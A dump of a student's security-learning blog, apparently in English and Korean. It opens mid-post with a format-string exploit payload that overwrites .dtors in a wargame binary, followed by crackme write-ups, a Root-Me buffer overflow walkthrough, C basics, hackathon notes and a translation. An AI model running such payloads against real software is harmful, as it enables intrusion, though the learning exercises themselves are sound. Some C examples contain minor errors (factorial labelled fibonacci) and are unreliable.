But the address is too big to overwrite the memory. So I have to divide it half and half.

I early mentioned that %n changes the value of the given address. Therefore the payload should be like this:
(Any value)*4+([.dtors+4])+(Any value)*4+([.dtors+8])+(%8x)*3+"%[address of shellcode 1 - the total bytes of printed before]c%n"+"%[address of shellcode 2 - the total bytes of printed before]c%n"

To explain each of them,
The (Any value)*4: To handle "%[address of shellcode 1]c" (cuz when use format, the stack pops)
The ([.dtors+4]), ([.dtors+8]): To set where %n to edit.
And because %n saves how much bytes are used into the given address. It's the reason why I subtracted the total bytes of printed before when calling %c.
h
So I made a payload like this.

bash
(python -c 'print "AAAA\x98\x95\x04\x08AAAA\x9a\x95\x04\x08"+"%8x%8x%8x"+"%[address 1]c%n"+"%[address 2]c%n"'; cat)|./attackmeโ€‹

So I get an address with some C codes.


File: _posts/2019-07-12-Reversing33.md


layout: post title: "Plans" date: 2019-07-12 23:49:00 +0900 categories: []

Chapter 1 of the book which I'm reading is ended.
By answering to a person who does reverse engineering really well in my club, I got some tips from him.

But before we start, let's write down here what I've done about a month.
Crack me 1, Crack me 2, and Lena's Reverse Engineering.

By reverse-engineering them, I can learn a lot of stuff, and I'm pretty comfortable to read assembly codes now.

There's a famous website for Koreans which is called reversing.kr.
This website has a lot of problems with various difficulties, easy to hard.

As he suggested me, now I'll solve easy crackme and easy keygen. And also I'll make the serial creating algorithms in C.


File: _posts/2019-07-13-KRReversing34.md

[Binary file]


File: _posts/2019-07-14-KRReversing35.md


layout: post title: "์Šคํ… ํ”„๋ ˆ์ž„" date: 2019-07-14 14:31:21 +0900 categories: [korean, reversing]

This post is a Korean translated version of Stack Frame - Function Prologue, Stack Frame - Function Epilogue.
ESP ๋ ˆ์ง€์Šคํ„ฐ๋Š” ์Šคํƒ์˜ ์œ—๋ถ€๋ถ„์„ ๊ฐ€๋ฆฌํ‚ค๊ณ , EBP๋Š” ์Šคํƒ์˜ ๋ฐ”๋‹ฅ๋ถ€๋ถ„์„ ๊ฐ€๋ฆฌํ‚จ๋‹ค.
๊ทธ๋ฆฌ๊ณ  ์Šคํƒ์€ LIFO(Last in, First Out) ๊ตฌ์กฐ๋ฅผ ๊ฐ–๊ณ ์žˆ๋‹ค.

์•„๋ฌดํŠผ ์˜ค๋Š˜์€ ๋ฉ”๋ชจ๋ฆฌ์˜ ์Šคํƒ ์˜์—ญ๊ณผ ๊ด€ํ•œ ์ด์•ผ๊ธฐ๋ฅผ ํ•ด๋ณผ๊ฒƒ์ด๊ณ , ์ข€ ๋” ์ž์„ธํžˆ ๋งํ•˜์ž๋ฉด ์Šคํƒ ํ”„๋ ˆ์ž„์— ๋Œ€ํ•ด ์ด์•ผ๊ธฐ๋ฅผ ๋‚˜๋ˆŒ ์˜ˆ์ •์ด๋‹ค.

๊ทธ๋ž˜์„œ ๊ทธ๊ฒŒ ๋ญ”๋ฐ?

์Šคํƒํ”„๋ ˆ์ž„์€ ๋กœ์ปฌ ๋ณ€์ˆ˜, ํŒŒ๋ผ๋ฏธํ„ฐ(ํ•จ์ˆ˜์˜ ์ธ์ž๊ฐ’), ESP๋Œ€์‹  EBP๋ฅผ ํ†ตํ•ด ๋ฐ˜ํ™˜ ์ฃผ์†Œ๋ฅผ ์ €์žฅํ•˜๋Š” ๊ธฐ๋ฒ•์ด๋‹ค.
๊ทธ๋ž˜์„œ ์ด๊ฒƒ๋“ค์—๋Š” ํ•จ์ˆ˜ ํ”„๋กค๋กœ๊ทธ์™€, ํ•จ์ˆ˜ ์—ํ•„๋กœ๊ทธ๋ผ๋Š”๊ฒƒ์ด ์žˆ๋‹ค.

ํ•จ์ˆ˜ ํ”„๋กค๋กœ๊ทธ

ํ•จ์ˆ˜๊ฐ€ ํ˜ธ์ถœ๋˜๋ฉด, ํ•จ์ˆ˜ ์‹คํ–‰์ด ๋๋‚˜๊ณ  ๋‚œ ๋’ค ์Šคํƒ์˜ ์œ„์น˜๋ฅผ ์–ด๋””๋กœ ๋Œ๋ฆด์ง€ ์ €์žฅํ•ด์•ผ ํ•œ๋‹ค. ๊ทธ๋ž˜์•ผ ํ•จ์ˆ˜๊ฐ€ ์‹คํ–‰๋˜๊ธฐ ์ „์˜ ๋‚ด์šฉ๋“ค์„ ์ œ๋Œ€๋กœ ์ ‘๊ทผ ํ•  ์ˆ˜ ์žˆ์„ํ…Œ๋‹ˆ๊นŒ.
์ด๊ฒƒ์„ ํ•จ์ˆ˜ ํ”„๋กค๋กœ๊ทธ ๋ผ๊ณ  ํ•œ๋‹ค. ํ•จ์ˆ˜๊ฐ€ ์‹คํ–‰๋˜๋ฉด, ํ•จ์ˆ˜์˜ ๋งจ ์œ„์—๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์€๊ฒƒ๋“ค์ด ์žˆ๋‹ค.

text
push ebp
mov ebp, esp

์ด ๋ช…๋ น์–ด๋“ค์„ ์ดํ•ดํ•˜๊ธฐ ์œ„ํ•ด์„œ๋Š”, ๋‹ค๋ฅธ ํ•จ์ˆ˜๋ฅผ ์œ„ํ•œ ๋˜ ๋‹ค๋ฅธ ๊ณต๊ฐ„์„ ์Šคํƒ์œ„์— "์Œ“๋Š”๋‹ค" ๋ผ๊ณ  ์ดํ•ดํ•˜๋ฉด ๋ ๊ฒƒ์ด๋‹ค.
๋จผ์ €, ํ•จ์ˆ˜๊ฐ€ ๋๋‚ฌ์„๋•Œ ๋Œ๋ฆฌ๊ธฐ ์œ„ํ•œ ์Šคํƒ ๋ฐ”๋‹ฅ์˜ ์ฃผ์†Œ๋ฅผ ์ €์žฅํ•œ๋‹ค.
๊ทธ๋ฆฌ๊ณ  ๋‘๋ฒˆ์งธ ๋ช…๋ น์–ด๋Š” ์Šคํƒ์—์„œ ๊ฐ€์žฅ ๋†’์•˜๋˜ ๋ถ€๋ถ„์„ ๋ฐ”๋‹ฅ์œผ๋กœ ์ง€์ •ํ•จ์œผ๋กœ์จ ์ƒˆ ๊ณต๊ฐ„์„ ์Œ“๋Š” ์—ญํ• ์„ ํ•˜๊ฒŒ ๋งŒ๋“œ๋Š”๊ฒƒ์ด๋‹ค.
์ด๊ฒƒ์„ ํ†ตํ•ด ํ•จ์ˆ˜๋Š” ์ง€์—ญ๋ณ€์ˆ˜๋ฅผ ๊ฐ€์งˆ ์ˆ˜ ์žˆ๊ฒŒ ๋œ๋‹ค.

ํ•จ์ˆ˜ ์—ํ•„๋กœ๊ทธ

๊ทธ๋ฆฌ๊ณ  ํ•จ์ˆ˜๊ฐ€ ๋๋‚ฌ์„๋•Œ๋Š”, ์ „๊ณผ ๊ฐ™์ด ๋ณต๊ตฌ๋˜์–ด์•ผ ํ•œ๋‹ค. ์ด๋ฅผ ๋‹ด๋‹นํ•˜๋Š” ์ฝ”๋“œ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

text
mov esp, ebp
pop ebp

ํ•จ์ˆ˜ ํ”„๋กค๋กœ๊ทธ์—์„œ ebp๋ฅผ esp๋กœ ์ง€์ •ํ–ˆ๊ธฐ ๋•Œ๋ฌธ์— ๊ทธ ๋ฐ˜๋Œ€๋กœ esp์—๋‹ค๊ฐ€ ๊ทธ ๊ฐ’์„ ๋„ฃ์–ด์ฃผ๊ณ , ์Šคํƒ์— ์ง„์ฆ‰ ์Œ“์•„๋‘” ์ฃผ์†Œ๊ฐ’(ํ•จ์ˆ˜๊ฐ€ ์‹คํ–‰๋ ๋•Œ ๋“ค์–ด๊ฐ„ ebp๊ฐ’)์„ ebp์— ๋„ฃ์–ด ์คŒ์œผ๋กœ์จ ์›๋ž˜์˜ ์Šคํƒ ์ƒํƒœ๋กœ ๋Œ๋ ค๋†“๋Š”๋‹ค.


File: _posts/2019-07-15-KRReversing36.md

[Binary file]


File: _posts/2019-07-16-KRHackathon37.md

[Binary file]


File: _posts/2019-07-17-Reversing38.md


layout: post title: "Reversing.kr Easy Crack writeup" date: 2019-07-17 12:30:23 +0900 categories: [reversing]

Reversing.kr ?

Reversing.kr is the one of the most famous website for Korean reversers.
It has a lot of reversing problems including windows, linux and macOS.

Anyway, This is my first problem in the Reversing.kr.
First up, let's download the executive file.
You can have all the problems here.

So it's a simple program which compares the password with the string that I wrote.

Anyway, let's open it with the ollydbg.
It looked like this.

When I first saw this, I thought it's written in VB, but now I look again, I think it's written in C/C++, since there's not much long STUB code.

Anyway, I tried to search all the strings in this program.

And as you can see in the picture, there were some codes which seem to determines whether the password is wrong or right.
Here is the checking part.

Well, the comments are already there because I solved it already.
Anyway, the way I figured out the first CMP one was just guessing.
Because the hex 61 was so friendly to me, I just filled the input field with "aaaaa", and I was able to pass the first check part.
By trying "1234a" to "1a345", I finally figured out that it's the part whether the [argument+1] is a or not.

And now it's the second part.

There's an error in the comment. It's not [argument+3]. It's [argument+2].

Because of the register pannel which was displaying "345", I thought that this part is something like

c
strncmp([argument+2], "5y", 2);

And it was true. I passed this part with the argument "1a5y56789".
Let's look at the next part.

There is a part which looks very alike to the previous checking part.
Like the previous part, because the register pannel was displaying "56789", I thought that this part is something like

c
strncmp([argument+3], "R3versing", 9);

So with the "1a5yR3versing", I passed it.
And now it's the last part.

It's comparing esp+4 with hex 45, which is 'E' in ascii.
And as you can see in the stack segment, the address esp+4 is where the argument is located.

So the payload is:

text
Ea5yR3versing

File: _posts/2019-07-18-KRReversing39.md


layout: post title: "Reversing.kr Easy Crack ๋ผ์ดํŠธ์—…" date: 2019-07-18 9:21:00 +0900 categories: [reversing, korean]

This post is a Korean translated version of Reversing.kr Easy Crack writeup.

Reversing.kr ?

Reversing.kr ์€ ํ•œ๊ตญ์ธ ๋ฆฌ๋ฒ„์„œ๋“ค์—๊ฒŒ ์œ ๋ช…ํ•œ ์‚ฌ์ดํŠธ์ด๋‹ค.
์œˆ๋„์šฐ, ๋ฆฌ๋ˆ…์Šค, ์‹ฌ์ง€์–ด๋Š” macOS๋ฅผ ์œ„ํ•œ ๋ฆฌ๋ฒ„์‹ฑ ๋ฌธ์ œ๋“ค๋„ ์ค€๋น„๋˜์–ด์žˆ๋Š” ๊ทธ๋Ÿฐ ์‚ฌ์ดํŠธ์ด๋‹ค.

์–ด์จŒ๋“ , ์˜ค๋Š˜ ํ’€์–ด๋ณด๋Š”๊ฒƒ์€ Reversing.kr์—์„œ์˜ ์ฒซ ๋ฌธ์ œ๋‹ค.
์ผ๋‹จ ์‹คํ–‰ํŒŒ์ผ์„ ๋‹ค์šด๋กœ๋“œ ๋ฐ›์ž.
์ด๊ณณ์—์„œ ๋ชจ๋“  ๋ฌธ์ œ๋“ค์„ ๊ตฌํ• ์ˆ˜ ์žˆ๋‹ค!

๊ทธ๋ž˜์„œ ์ด๋ฒˆ ๋ฌธ์ œ๋Š” ๋‚ด๊ฐ€ ์ ์€ string๊ณผ ์ •๋‹ต์„ ๋น„๊ตํ•˜๋Š” ๊ฐ„๋‹จํ•œ ํ”„๋กœ๊ทธ๋žจ์ด๋‹ค.

์˜ฌ๋ฆณ๋””๋ฒ„๊ฑฐ๋กœ ์—ด์–ด๋ดค๋”๋‹ˆ, ๋‹ค์Œ๊ณผ ๊ฐ™์•˜๋‹ค.

์ฒ˜์Œ๋ดค์„๋• VB์ฝ”๋“œ์ธ๊ฐ€? ์‹ถ์—ˆ๋Š”๋ฐ ์ง€๊ธˆ ๋ณด๋‹ˆ๊นŒ ๋˜ STUB์ฝ”๋“œ๊ฐ€ ๋”๋Ÿฝ์ง€ ์•Š์€ ๋ชจ์Šต์„ ๋ด์„œ๋Š” C/C++ ์ฝ”๋“œ์ธ๊ฒƒ ๊ฐ™๊ธฐ๋„ํ•˜๊ณ .. ์ž˜ ๋ชจ๋ฅด๊ฒ ๋‹ค.

์–ด์จŒ๋“  ์˜ฌ๋ฆฌ๋””๋ฒ„๊ฑฐ์˜ ๊ธฐ๋Šฅ์ธ ๋ฐ”์ด๋„ˆ๋ฆฌ ๋‚ด์˜ string์„ ์ฐพ์•„์ฃผ๋Š” ๊ธฐ๋Šฅ์œผ๋กœ ์ข€ ๋ดค๋”๋‹ˆ ๋‹ค์Œ๊ณผ ๊ฐ™์•˜๋‹ค.

๊ทธ๋ฆผ์—์„œ ๋ณด๋Š”๊ฒƒ์ฒ˜๋Ÿผ, ๋‚ด๊ฐ€ ์ž…๋ ฅํ•œ ๋ฌธ์ž์—ด์ด ๋งž๋Š”์ง€ ํ‹€๋ฆฐ์ง€ ๊ฒฐ์ •ํ•˜๋Š” ๋ถ€๋ถ„์˜ ์ฝ”๋“œ๊ฐ€ ์ข€ ์žˆ๋Š”๊ฒƒ๊ฐ™์•˜๋‹ค.
๊ทธ๋ฆฌ๊ณ  ์ด๊ฒŒ ๊ฒ€์‚ฌํ•˜๋Š” ๋ถ€๋ถ„์ด๋‹ค.

๋‚œ ์ด๋ฏธ ํ’€์—ˆ๊ธฐ ๋•Œ๋ฌธ์— ์ฃผ์„์ด ์žˆ๊ณ , ์›๋ž˜๋Š” ์—†๋‹ค๋Š” ์ ์„ ์ฐธ๊ณ ํ•˜์ž.
์ฒซ๋ฒˆ์งธ CMP๋ถ€๋ถ„์€ ๊ทธ๋ƒฅ ๊ฐ์œผ๋กœ ํ’€์—ˆ๋‹ค.
16์ง„์ˆ˜ 61์ด ํ•ด์ปค์Šค์ฟจ์„ ํ’€๋‹ค๋ณด๋‹ˆ ๋„ˆ๋ฌด ๋‚˜์—๊ฒŒ ์นœ์ˆ™ํ•ด์„œ, ๊ทธ๋ƒฅ ์ž…๋ ฅํ•„๋“œ์— "aaaaa"๋ฅผ ์ž…๋ ฅํ–ˆ๋”๋‹ˆ ์ฒซ๋ฒˆ์งธ ๊ฒ€์‚ฌ ๋ถ€๋ถ„์—์„œ ํ†ต๊ณผํ–ˆ๋‹ค.
"1234a" ๋ถ€ํ„ฐ "1a345"๊นŒ์ง€ ์‹œ๋„ํ•œ ๋์—, ๊ทธ๊ฒƒ์ด [argument+1] ์ด 'a'์ธ์ง€ ์•„๋‹Œ์ง€ ๊ฒ€์‚ฌํ•˜๋Š” ๋ถ€๋ถ„์ด๋ผ๋Š”๊ฒƒ์„ ์•Œ์•˜๋‹ค.

๊ทธ๋ฆฌ๊ณ  ์ด์ œ ๋‘๋ฒˆ์งธ ๋ถ€๋ถ„.

์ฃผ์„์— ์˜ค๋ฅ˜๊ฐ€ ์žˆ๋Š”๋ฐ, argument+3๊ฐ€ ์•„๋‹ˆ๋ผ argument+2์ด๋‹ค.

๋ ˆ์ง€์Šคํ„ฐ ํŒจ๋„์—์„œ "345"๋ฅผ ์ถœ๋ ฅํ•˜๊ณ  ์žˆ๊ธธ๋ž˜ ๋Œ€์ถฉ c์—์„œ ์ด๋Ÿฐ ์ฝ”๋“œ๊ฒ ๊ฑฐ๋‹ˆ ํ–ˆ๋‹ค.

c
strncmp([argument+2], "5y", 2);

๊ทธ๋ฆฌ๊ณ  ๋งž์•˜๋‹ค. "1a5y56789"๋ฅผ ์ž…๋ ฅํ•จ์œผ๋กœ์จ ํ†ต๊ณผํ–ˆ๋‹ค.
๋‹ค์Œ ๋ถ€๋ถ„์„ ๋ณด์ž.

๋ฐ”๋กœ ์ง์ „์˜ ํ™•์ธ ๋ถ€๋ถ„๊ณผ ๊ต‰์žฅํžˆ ๋น„์Šทํ•ด๋ณด์ด๋Š” ์ฝ”๋“œ๊ฐ€ ์žˆ๋‹ค.
์•„๊นŒ ๊ทธ๋žฌ๋˜๊ฒƒ์ฒ˜๋Ÿผ, ๋ ˆ์ง€์Šคํ„ฐ ํŒจ๋„์—์„œ "56789"๋ฅผ ๋ณด์•„์„œ, ๋Œ€์ถฉ ์ด๋Ÿฐ ์ฝ”๋“œ์ธ๊ฐ€ ์‹ถ์—ˆ๋‹ค.

c
strncmp([argument+3], "R3versing", 9);

๊ทธ๋ž˜์„œ "1a5yR3versing"์„ ์ž…๋ ฅํ–ˆ์„๋•Œ ์ด๋ฒˆ ๊ฒ€์‚ฌ๋ฅผ ํ†ต๊ณผ ํ•  ์ˆ˜ ์žˆ์—ˆ๋‹ค.
์ด์ œ ๋งˆ์ง€๋ง‰ ๋ถ€๋ถ„์ด๋‹ค!

esp+4์™€ 16์ง„์ˆ˜ 45, ๊ทธ๋Ÿฌ๋‹ˆ๊นŒ ์•„์Šคํ‚ค๋กœ 'E'๋ฅผ ๋น„๊ตํ•˜๊ณ ์žˆ๋‹ค.
์Šคํƒ ์˜์—ญ์—์„œ ๋ณผ ์ˆ˜ ์žˆ๋“ฏ, esp+4 ๋Š” ๋‚ด๊ฐ€ ์ž…๋ ฅํ•œ ๋ฌธ์ž์—ด์ด ์žˆ๋Š”๊ณณ์ด๋‹ค. ๊ทธ๋Ÿฌ๋‹ˆ ํŽ˜์ด๋กœ๋“œ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

text
Ea5yR3versing

File: _posts/2019-07-19-Reversing40.md


layout: post title: "Reversing.kr Easy Crack in C" date: 2019-07-19 16:56:24 +0900 categories: [reversing]

After I solve the EasyCrack, I thought it would be nice if I make a C copy version of it.
So I made it with the same algorithm which EasyCrack uses.

c
#include <string.h>
#include <stdlib.h>

void RaiseWrong() {
	printf("Incorrect Password");
	exit(0);
}

int main(int argc, char **argv) {
	if(argc == 1){
		printf("The numbers of argument should be more than 2");
		return 0;
	}
	if(argv[1][1] != 'a')
		RaiseWrong();
	if(strncmp(&argv[1][2], "5y", 2))
		RaiseWrong();
	if(strcmp(&argv[1][4], "R3versing"))
		RaiseWrong();
	if(argv[1][0] != 'E')
		RaiseWrong();
	printf("Congratulation !!");
	return 0;
}

So this is what it looks like.


File: _posts/2019-07-20-KRReview41.md

[Binary file]


File: _posts/2019-07-21-C42.md


layout: post title: "C basics series 1 - Function" date: 2019-07-21 11:47:24 +0900 categories: [c]

After I solve the EasyCrack, I thought it would be nice if I make a C copy version of it.
So I made it with the same algorithm which EasyCrack uses.

c
#include <string.h>
#include <stdlib.h>

void RaiseWrong() {
	printf("Incorrect Password");
	exit(0);
}

int main(int argc, char **argv) {
	if(argc == 1){
		printf("The numbers of argument should be more than 2");
		return 0;
	}
	if(argv[1][1] != 'a')
		RaiseWrong();
	if(strncmp(&argv[1][2], "5y", 2))
		RaiseWrong();
	if(strcmp(&argv[1][4], "R3versing"))
		RaiseWrong();
	if(argv[1][0] != 'E')
		RaiseWrong();
	printf("Congratulation !!");
	return 0;
}

So this is what it looks like.

To explain the memory structure, I'll post about some C basics about three to four days

What is function?

You may hear of function in your math class.
It's also pretty similar in programming.

"A box that returns output by an input"

This will be the concept you learn from a math class.
In programming, the input can be none, and the output can be none.

In math, the output weighs a lot, but function in programming, the output can be meaningless or nothing. Sometimes some functions weighs more on process than the output.

The examples of functions in C are printf, scanf, gets which are defined in header file stdio.h.

Reason to use

Let me say a boy, exlock got an homework to memorize some words.
Exlock wanted to make a program which can help him to memorize words.

He started to make a simple program which shows the spelling of it and gets input from the user the meaning of it.

And he wanted to make a feature that saves what was wrong, what was right. Also even if the user exits the program after the program is completely executed, he wanted to write codes that does the same thing.(What was wrong, what was right)

And exlock got curiosity.

Do I have to write same codes for twice? Then, If I have to change the codes of it, do I have to modify them for twice?

In this case, function can be a great solution of it.

The usage of function

How to define it

There are two ways to make a function.
One way is to make a prototype of a function before the main is defined, and the other way is to write the whole code before the main.

So this is the way #1:

c
#include <stdio.h>

void save();

int main(){
    return 0;
}

void save(){
    //์ €์žฅ์‹œํ‚ค๋Š”์ฝ”๋“œ
    printf("saved\n");
}

And this is the way #2:

c
#include <stdio.h>

void save(){
    //์ €์žฅ์‹œํ‚ค๋Š”์ฝ”๋“œ
    printf("saved\n");
}



int main(){
    return 0;
}

A function can be defined with this syntax.

(){

return ;
}

So there are four kinds of functions, and they are:

With arguments and return:

c
#include <stdio.h>

int temp(int a){
    return a+3;
}

int main(){
    return 0;
}

With arguments but without return:

c
#include <stdio.h>

void temp(int a){
    printf("%d", a);
}

int main(){
    return 0;
}

With arguments, but without return:

c
#include <stdio.h>

void temp(int a){
    printf("%d", a);
}

int main(){
    return 0;
}

Without arguments, but with return:

c
#include <stdio.h>

int temp(){
    return 55;
}

int main(){
    return 0;
}

Without arguments and return:

c
#include <stdio.h>

void temp(){
}

int main(){
    return 0;
}

Usage

Then how to use it? We already know the answer, to be honest.
();
The example would be:

c
printf("Hello world");

Global Variable, Local Variable

I'll give you a simple quiz.

c
#include <stdio.h>

void temp(){
    printf("%d", a);
}

int main(){
    int a=3;
    return 0;
}

Will this code work?
The answer is: No.

Because the variable a is a local variable of the function main, but where printf executed is not in main.

Then how to make a variable which can be accessed from both main and temp?

Here comes the global function.

c
#include <stdio.h>
int a=3;

void temp(){
    printf("%d", a);
}

int main(){
    printf("%d", a);
    return 0;
}

Recursive function

A function that calls itself until the conditions that I want is correct is called recursive function.

It's better to understand which the codes, so I'll give you the code which prints the fibonacci numbers.

c
#include <stdio.h>

int factorial(int n)
{
    if (!n)
        return 1;
    return n * factorial(n - 1);
}

int main(void)
{
    printf("%d", factorial(3));
    return 0;
}

File: _posts/2019-08-26-Pwnable43.md


layout: post title: "ROOT-ME: STACK BUFFER OVERFLOW BASIC 1" date: 2019-08-26 22:57:00 +0900 categories: [pwnable]

c
#include <unistd.h>
#include <sys/types.h>
#include <stdlib.h>
#include <stdio.h>

int main()
{

  int var;
  int check = 0x04030201;
  char buf[40];

  fgets(buf,45,stdin);

  printf("\n[buf]: %s\n", buf);
  printf("[check] %p\n", check);

  if ((check != 0x04030201) && (check != 0xdeadbeef))
    printf ("\nYou are on the right way!\n");

  if (check == 0xdeadbeef)
   {
     printf("Yeah dude! You win!\nOpening your shell...\n");
     setreuid(geteuid(), geteuid());
     system("/bin/bash");
     printf("Shell closed! Bye.\n");
   }
   return 0;
}

It's the source code of it.
And in the stack, it will be located like:

[buf][check]
[var]

And in the fgets function, it receives the user's input as the size of 45 bytes, while the size of buf is 40.

So the payload is super easy, just to fill all the buf and put the deadbeef after it!


File: _posts/2019-08-27-Hacakthon44.md


layout: post title: "Review of Samsung SDS hackathon" date: 2019-08-27 23:40:00 +0900 categories: [hackathon]

I passed the preliminaries as the additional passer.
I know it's a bit late to write this today because it was held in the first week of August.
I don't have many things to say about this hackathon since I haven't got the prize, unlike the sunrin hackathon.
I heard from my friend that the winner of this hackathon got the Samsung galaxy tab 5e.
Anyway, what's important is not a prize, right? The most important thing is experience.

What our team designed to build was to make a smart grid system that is applicable to all the classes.
We made a smart plug which is controlled by an Arduino's sensor, and also with the camera, we have designed the feature to detect human by the camera, with the object recognition artificial intelligence, YOLO.
However, it turned out that the wifi module that we've got was a defective product, which means we're not able to connect our Arduino with the backend API server, which I developed.

Because we were not able to demonstrate what we built, we were not allowed to go to the final round.
One thing that I thought it's meaningful is that it was my first try to make a presentation on the hackathon.
Honestly, I really wanted to make a presentation since I like to talk in front of the public.
I have got complimented from my friends like "You did very well", and the moment that I made a presentation, is a moment that is a really unforgettable moment for me, for sure.

Anyway, I think it's time to focus on to study hacking since I haven't much studied about that.


File: _posts/2019-08-28-Plans45.md


layout: post title: "Things to do in September" date: 2019-08-28 23:40:00 +0900 categories: [Plans]

To apologize to me, to cheer me up, I thought that I have to make plans for the next month to spend a month very effectively.
So these are the things that I'm planning to do in September, which is the next month.

  • Easy Keygen
  • Lord Of Buffer overflow
  • Solve Code Engn RCE to level 10

File: _posts/2019-08-29-Translation46.md

[Binary file]


File: _posts/2019-08-30-Translation47.md


layout: post title: "ํŠธ๋žœ์ง€์Šคํ„ฐ์—์„œ ์›น ๋ธŒ๋ผ์šฐ์ €๊นŒ์ง€: ์ง€์˜คํ•ซ ๊ธ€ ๋ฒˆ์—ญ: 2ํŽธ" date: 2019-08-30 13:20:00 +0900 categories: [translation]

I translated the content of this markdown, if you think that there's any problem with this post, such as the licensing problems, contact me to [email protected], so I can help you.

์„น์…˜ 2: ์›Œ๋ฐ์—…: ํ•˜๋“œ์›จ์–ด๊ฐ€ ๋ฌด์Šจ ์–ธ์–ด๋กœ ์ž‘์„ฑ๋˜์–ด์žˆ๋‚˜? -- 0.5 ์ฃผ

  • LED ๊นœ๋นก์ด๊ธฐ(Verilog, 10) -- ๋‹น์‹ ์˜ ์ฒซ ํ”„๋กœ๊ทธ๋žจ์ž…๋‹ˆ๋‹ค! ์‹œ๋ฎฌ๋ ˆ์ดํ„ฐ๊ฐ€ ์ž‘๋™ํ•˜๋„๋กํ•˜๋Š”๊ฒƒ์„ ๋ฐฐ์šฐ๊ณ , ๋ฒ ๋ฆด๋กœ๊ทธ์— ๋Œ€ํ•ด ๋ฐฐ์›๋‹ˆ๋‹ค.
  • UART(๋ฒ”์šฉ ๋น„ ๋™๊ธฐํ™” ์†ก์ˆ˜์‹ ๊ธฐ)๋งŒ๋“ค๊ธฐ(Verilog, 100) -- ๋ฒ ๋ฆด๋กœ๊ทธ์˜ ์ž…๋ฌธ ๋‹จ๊ณ„์ž…๋‹ˆ๋‹ค. ์ง„์งœ UART๋ฅผ ๋ณต์ œํ•˜๊ณ , MMIO(๋ฉ”๋ชจ๋ฆฌ ๋งต ์ž…์ถœ๋ ฅ)์˜ ๊ฐœ๋…์— ๋Œ€ํ•ด ์†Œ๊ฐœํ•ฉ๋‹ˆ๋‹ค. ๋น„๋ก ์‹œ๋ฆฌ์–ผ ํฌํŠธ๊ฐ€ ์„ธ๋ฏธํ˜ธ์ŠคํŒ…์ด๊ธด ํ•˜์ง€๋งŒ์š”.(์„ธ๋ฏธํ˜ธ์ŠคํŒ…์ด๋ž€ ARM์„ ๋Œ€์ƒ์œผ๋กœ ํ•œ ์ฝ”๋“œ๊ฐ€ ๋””๋ฒ„๊ฑฐ๋ฅผ ๋Œ๋ฆฌ๋Š” ํ˜ธ์ŠคํŠธ ์ปดํ“จํ„ฐ์—์„œ ์ž…์ถœ๋ ฅ์žฅ๋น„๋ฅผ ์‚ฌ์šฉํ• ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ฃผ๋Š” ๋ฉ”์ปค๋‹ˆ์ฆ˜์„ ๋งํ•ฉ๋‹ˆ๋‹ค.) ์‹œ๋ฆฌ์–ผ์„ ํ…Œ์ŠคํŠธํ•˜๋Š” ํ”„๋กœ๊ทธ๋žจ๊ณผ led๋ฅผ ์กฐ์ ˆํ•˜๋Š” ํ”„๋กœ๊ทธ๋žจ์„ ๋งŒ๋“ญ๋‹ˆ๋‹ค.

์„น์…˜ 3: ํ”„๋กœ์„ธ์„œ: ๊ทธ๋ž˜์„œ ํ”„๋กœ์„ธ์„œ๊ฐ€ ๋ญ”๋ฐ? -- 3 ์ฃผ

  • ์–ด์…ˆ๋ธ”๋Ÿฌ ์ฝ”๋”ฉํ•˜๊ธฐ(Python, 500) -- ๋‹จ์ˆœํ•˜๊ณ  ์ง€๋ฃจํ•œ ์–ด์…ˆ๋ธ”๋Ÿฌ๋ฅผ ํŒŒ์ด์ฌ์—์„œ ์ž‘์„ฑํ•ฉ๋‹ˆ๋‹ค. CPU์ œ์ž‘๊ณผ ํ•จ๊ป˜ ๋ณ‘๋ ฌ์ ์œผ๋กœ ํ•ฉ๋‹ˆ๋‹ค. ARM ์–ด์…ˆ๋ธ”๋ฆฌ๋ฅผ ๊ฐ€๋ฅด์ณ ์ค„๊ฒƒ์ž…๋‹ˆ๋‹ค. ์ฒ˜์Œ์˜ ๊ฒฐ๊ณผ๋ฌผ๋“ค์€ ๊ทธ์ € ์ด์ง„ํŒŒ์ผ์ด๊ฒ ์ง€๋งŒ, ๋‹น์‹ ์ด ๋ง์ปค๋ฅผ ์ž‘์„ฑํ•˜๋ฉด ๋‹ฌ๋ผ์ง‘๋‹ˆ๋‹ค.
  • ARM7 CPU์ œ์ž‘ (Verilog, 1500) -- ์ด๊ฑด ํ•˜์œ„ ๋‹จ๊ณ„๋กœ ๋‚˜๋ˆ„์„ธ์š”. ๊ฐ„๋‹จํ•œ ํŒŒ์ดํ”„๋ผ์ธ์—์„œ ์‹œ์ž‘ํ•ด์„œ, decode, fetch, ์‹คํ–‰๊นŒ์ง€์š”. ์šฐ๋ฆฌ๋Š” ์–ผ๋งˆ๋‚˜ ๋งŽ์€ BRAM(๋ธ”๋Ÿญ ๋žจ)์„ ๊ฐ–๊ณ ์žˆ์„๊นŒ์š”? ์ตœ์†Œํ•œ 1MB์ด๊ณ , DDR๋กœ๋Š” ์–ด๋ ค์šธ๊ฑฐ๊ฐ™๊ณ , ์•„๋งˆ SRAM์ผ๊ฒ๋‹ˆ๋‹ค. ์‹œ๋ฎฌ๋ ˆ์ด์…˜ ๊ฐ€๋Šฅํ•˜๊ณ  ํ•ฉ์ณ์ง€๋Š”๊ฒŒ ๊ฐ€๋Šฅํ•˜์ฃ (synthesizable).
  • ๋ถ€ํŠธ๋กฌ ์ฝ”๋”ฉ(Assembler, 40) -- ์ด๊ฒƒ์€ ์ฝ”๋“œ๋ฅผ ๋žจ์— ์‹œ๋ฆฌ์–ผ ํฌํŠธ๋ฅผ ํ†ตํ•ด ๋‹ค์šด๋กœ๋“œ ํ•˜๋Š”๊ฒƒ์„ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•ด์ฃผ๊ณ , FPGA์ด๋ฏธ์ง€๋กœ ๊ตฌ์›Œ์ง‘๋‹ˆ๋‹ค. ๊ท€์—ฌ์šด ํ…Œ์ŠคํŠธ์šฉ ํ”„๋กœ๊ทธ๋žจ๋“ค์€ ์—ฌ๊ธฐ์„œ ์ž‘๋™ํ• ๊ฒƒ์ด์—์š”.

File: _posts/2019-08-31-Translation48.md


